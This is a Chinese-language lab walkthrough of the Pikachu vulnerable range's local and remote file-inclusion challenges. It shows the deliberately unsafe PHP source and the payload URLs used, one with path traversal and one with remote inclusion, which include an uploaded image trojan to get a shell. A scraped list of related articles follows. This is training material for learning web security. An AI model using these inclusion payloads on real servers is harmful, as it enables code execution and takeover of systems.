PIKUCHU靶场之文件包含

一、file inclusion(local)

  1. 实验源码:
  2. <?php
  3. /**
  4. * Created by runner.han
  5. * There is nothing new under the sun
  6. */
  7. $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
  8. if ($SELF_PAGE = "fi_local.php"){
  9. $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','',
  10. 'active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
  11. }
  12. $PIKA_ROOT_DIR = "../../";
  13. include_once $PIKA_ROOT_DIR . 'header.php';
  14. $html='';
  15. if(isset($_GET['submit']) && $_GET['filename']!=null){
  16. $filename=$_GET['filename'];
  17. include "include/$filename";//变量传进来直接包含,没做任何的安全限制
  18. // //安全的写法,使用白名单,严格指定包含的文件名
  19. // if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
  20. // include "include/$filename";
  21. // }
  22. }
  23. ?>
查看站点基本功能

发现能使用选项选择相应的球星名称查看图片
查看源码发现:

使用get请求提交数据
那么我们抓个杜兰特看看

下面send to repeater

发现修改filename的值可以影响server返回的结果
结合文件上传获取shell
//已经将木马放入后台

  1. 构造payloadhttp://127.0.0.1/pkq/vul/fileinclude/fi_local.php?filename=../../taotao.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

成功获得shell

二、file include(remote)

  1. 试验源码:
  2. <?php
  3. /**
  4. * Created by runner.han
  5. * There is nothing new under the sun
  6. */
  7. $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
  8. if ($SELF_PAGE = "fi_remote.php"){
  9. $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','' 'active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
  10. }
  11. $PIKA_ROOT_DIR = "../../";
  12. include_once $PIKA_ROOT_DIR . 'header.php';
  13. $html1='';
  14. if(!ini_get('allow_url_include')){
  15. $html1.="<p style='color: red'>warning:你的allow_url_include没有打开,请在php.ini中打开了再测试该漏洞,记得修改后,重启中间件服务!</p>";
  16. }
  17. $html2='';
  18. if(!ini_get('allow_url_fopen')){
  19. $html2.="<p style='color: red;'>warning:你的allow_url_fopen没有打开,请在php.ini中打开了再测试该漏洞,重启中间件服务!</p>";
  20. }
  21. $html3='';
  22. if(phpversion()<='5.3.0' && !ini_get('magic_quotes_gpc')){
  23. $html3.="<p style='color: red;'>warning:你的magic_quotes_gpc打开了,请在php.ini中关闭了再测试该漏洞,重启中间件服务!</p>";
  24. }
  25. //远程文件包含漏洞,需要php.ini的配置文件符合相关的配置
  26. $html='';
  27. if(isset($_GET['submit']) && $_GET['filename']!=null){
  28. $filename=$_GET['filename'];
  29. include "$filename";//变量传进来直接包含,没做任何的安全限制
  30. }?>

远程文件包含需要开启 allow_url_include()

给大家欣赏一下answer(在1.8的身高下没人能比他拥有更多的荣耀)

You can have all the talent in the world but if you don't have heart I don't need you stepping on the basketball court.

貌似功能方面和上一关一致
抓包:

发现与上一关类似
既然题目说了是远程文件包含漏洞,那么我们直接用远程包含来实现获得shell
  1. 构造payload
  2. http://127.0.0.1/pkq/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/file/upload/taotao.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
成功获得shell

/*后续会发一篇文件包含bypass总结*/

PIKACHU之文件包含漏洞的更多相关文章

  1. 文件包含漏洞(pikachu)

    文件包含漏洞 在web后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用'包含'函数功能,比如把一系列功能函数都写进function.php中,之后当某个文件需要调用的时候,就直接在文 ...

  2. Pikachu-File Inclusion(文件包含漏洞)

    File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PHP中 ...

  3. PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)

    摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...

  4. phpmyadmin任意文件包含漏洞分析(含演示)

    0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: ...

  5. PHP文件包含漏洞剖析

    一. 什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. ...

  6. Nagios Looking Glass 本地文件包含漏洞

    漏洞名称: Nagios Looking Glass 本地文件包含漏洞 CNNVD编号: CNNVD-201310-682 发布时间: 2013-10-31 更新时间: 2013-10-31 危害等级 ...

  7. WP e-Commerce WordPress Payment Gateways Caller插件本地文件包含漏洞

    漏洞名称: WP e-Commerce WordPress Payment Gateways Caller插件本地文件包含漏洞 CNNVD编号: CNNVD-201310-642 发布时间: 2013 ...

  8. 百度杯”CTF比赛 2017 二月场 没错!就是文件包含漏洞。

    题目源码: 文件包含漏洞的话,看一下 你么可以使用php://input 伪协议,执行代码(参考了大佬WP)这里使用了POSTMAN, 目录下还有一个dle345aae.php文件,呢么用cat命令打 ...

  9. phpMyAdmin 4.8.x 本地文件包含漏洞利用

    phpMyAdmin 4.8.x 本地文件包含漏洞利用 今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用 ...

随机推荐

  1. Mybatis中原生DAO实现和Mapper动态代理实现

    Mybatis开发dao的方法通常用两种,一种是传统DAO的方法,另一种是基于mapper代理的方法. 一.传统DAO方式开发 1.sql语句映射文件编写 User.xml <?xml vers ...

  2. PHP伪协议-文件包含

    lfi.php案例代码 <?php include $_GET['file']; ?> phar://.zip://.zlib://   用于读取压缩文件,zip:// .phart:// ...

  3. UDP&串口调试助手用法(1)

    一览 UDP 串口 常用 功能概述 概览 支持UDP通信协议: 广播.单播.组播 支持串口通信 配置了常用的配置,常用的进制转化: 2进制,8进制,10进制,和16进制之间的转换 配置了 计算器,加减 ...

  4. 网络编程之UDP(3)丢包总结

    读书笔记 from here UDP socket缓冲区满造成的UDP丢包 如果socket缓冲区满了,应用程序没来得及处理在缓冲区中的UDP包,那么后续来的UDP包会被内核丢弃,造成丢包.在sock ...

  5. 【LeetCode】173. Binary Search Tree Iterator 解题报告(Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 保存全部节点 只保留左节点 日期 题目地址:http ...

  6. 【LeetCode】31. Next Permutation 解题报告(Python & C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 逆序数字交换再翻转 库函数 日期 题目地址:http ...

  7. A. Points on Line

    A. Points on Line time limit per test 2 seconds memory limit per test 256 megabytes input standard i ...

  8. react hooks 如何自定义组件(react函数组件的封装)

    前言 这里写一下如何封装可复用组件.首先技术栈 react hooks + props-type + jsx封装纯函数组件.类组件和typeScript在这不做讨论,大家别白跑一趟. 接下来会说一下封 ...

  9. Java高级程序设计笔记 • 【第6章 设计模式】

    全部章节   >>>> 本章目录 6.1 设计模式 6.1.1 设计模式概述和分类 6.1.2 单列模式介绍 6.1.3 单例模式的实现 6.1.4 实践练习 6.2 单例模式 ...

  10. 【已开源】Flutter 穿山甲广告插件的集成-FlutterAds

    前言 上篇文章我们聊了国内各大广告平台对 Flutter 的支持程度和我为什么创建 FlutterAds 来构建优质的 Flutter 广告插件,帮助开发者获利.本篇我们来看看Flutter 穿山甲广 ...